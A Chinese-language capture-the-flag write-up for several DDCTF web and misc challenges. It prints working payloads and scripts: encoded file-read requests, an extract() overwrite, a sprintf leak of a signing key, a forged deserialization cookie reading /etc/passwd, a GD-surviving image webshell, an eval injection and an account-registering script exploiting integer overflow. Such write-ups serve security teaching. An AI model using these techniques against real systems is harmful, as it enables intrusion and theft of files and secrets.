Web
滴
打开发现url
里的jpg
是这样的:
/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
通过扫描发现了:
http://117.51.150.246/practice.txt.swp`
回到之前的
url
,jpg
后面那串解密后是一串16
进制,那把index.php
转成16进制后再
base64`编码两次后传入:
http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
得到源码:
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
这里正则会过滤掉不是数字字母和
.
的其他字符。这里f1ag!ddctf.php
的!
就会被过滤,想要去读就要绕过。这里str_replace("config","!", $file);
会把config
替换成!
,这样就可以构造f1agconfigddctf.php
来绕过了:
http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
成功读到。
得到源码:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
一个extract变量覆盖
,构造:
http://117.51.150.246/f1ag!ddctf.php?k1=&uid=
得到flag
。
参考链接:
php file_get_contents 绕过
“百度杯”CTF比赛 九月场------code
Web签到题
打开看到:
构造
X-Forwarded-For:127.0.0.1
:在网络可以看到验证了一个
Auth.php
,加入didictf_username: admin
:得到提示:
您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php
得到源码:
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
可以看到如果满足$this->session_read()
,就会调用parent::response($data,'sucess');
,parent
里有__destruct()
这个反序列话会用到的魔术方法。
可以测试一下:
<?php
Class Application {
public function response() {
echo "ok</br>";
}
public function __destruct() {
echo "Application 的 __destruct()被调用了";
}
}
class Session extends Application {
public function index(){
parent::response();
}
}
$d = new Session();
$d->index();
成功被调用了。这里就会产生php
反序列化漏洞。
可以看到此题拿
flag
的思路应该是先通过session
反序列化 -->创建Application
对象--> 控制path
--> getflag
。签名规则是
md5($this->eancrykey.$session)
,所以必须要拿到eancrykey
。从$this->eancrykey = file_get_contents('../config/key.txt');
这里可以看到eancrykey
存放在../config/key.txt
。在获取
nickname
代码中:
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
存在sprintf()
方法。可以通过格式化注入去取得key
。传入nickname=%s
:
得到
eancrykey
为EzblrbNS
。然后来伪造
session
。path
会被sanitizepath()
函数过滤,过滤了../
和..\
,会被替换成共,可以通过双写....//
来绕过。然后path
的字符被限制为了18
个。
if(strlen($path) !== 18) {
exit();
}
尝试去读/etc/passwd
:
双写绕过为:/etc/..././etc/passwd
序列化后: O:11:"Application":1:{s:4:"path";s:21:"/etc/..././etc/passwd";}
按规则签名后: O%3a11%3a"Application"%3a1%3a{s%3a4%3a"path"%3bs%3a21%3a"/etc/..././etc/passwd"%3b}75c51ff78b04d77138ca58f797dedc0a;
可以成功读到。
然后去读
../config/flag.txt
。构造:
<?php
$eancrykey = 'EzblrbNS';
class Application {
var $path = '..././config/flag.txt';
}
$ddctf = new Application();
var_dump(urlencode(serialize($ddctf)));
echo "<br/>";
var_dump(md5($eancrykey.serialize($ddctf)));
传入得到flag
:
Upload-IMG
要上传文件:
上传一张正常的图片后提示:
这里图片经过了
GD
库。upload-labs-16跟这个类似。
使用jpg_payload来构造图片马,使图片被
GD
库处理后仍然保留图片里的字符串。
$ php jpg_payload.php 1.jpg
上传后就能得到flag
。
homebrew event loop
题目给了源码:
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e657'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
在execute_event_loop()
中,可以看到存在eval
函数,而且action
可控。具体解法看先知的WP。
使用payload
:
?action:trigger_event%23;action:buy;111%23action:get_flag;
然后用
session_ccokie_manager.py
解开传过来的session_id
就得到flag
了。
大吉大利,今晚吃鸡~
首先注册处有一个越权漏洞。
这是拿
Go
写的。Go
写的CTF
的Web
,应该会考到整数溢出。下面是Go
的整数范围:这里使用
uint32
溢出,也就是4294967296
。购买成功。
然后就是要淘汰队友,直到自己最后一个。
主要思路就是自己注册小号 - >买票 -> 付款 -> 加入游戏 -> 获取
id
踢掉。编写脚本:
import requests
import random
import time
tmpID = "1"
tmpSession = requests.session()
registerURL = "http://117.51.147.155:5050/ctf/api/register?name=5am3_t1{name}&password=12345678aa90"
buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"
headers = {
"Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
}
def getTicket(tmpID):
tmpRegisterURL = registerURL.replace("{name}",tmpID)
tmpSession.get(tmpRegisterURL)
billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]
# print(billID)
tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
# print(tmpPayTicketURL)
ticketJson = tmpSession.get(tmpPayTicketURL).json()
# print(ticketJson)
ticket,uid = ticketJson["data"][0].values()
return ticket,uid
if __name__ == '__main__':
i = 1
c = 0
while(i<3 and c < 50):
name = str(random.randint(1000, 90000))
c+=1
try:
ticket,uid = getTicket(name)
# print(ticket,uid)
tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
RRjson = requests.get(tmpRRURL,headers=headers).json()
if(RRjson["data"]):
print("["+str(i)+"] " + str(RRjson["data"]))
print("")
i+=1
time.sleep(1)
except:
pass
mysql弱口令
Misc
北京地铁
wireshark
打开可以看到一些流量:
通过提取,能提取出三张图片:
修改流量里第一张上传的图片的
IHDR
能得到key
:使用在线网址解密流量里的第二张图片:
16
进制转换成ASCII
码就能得到flag
。
网友评论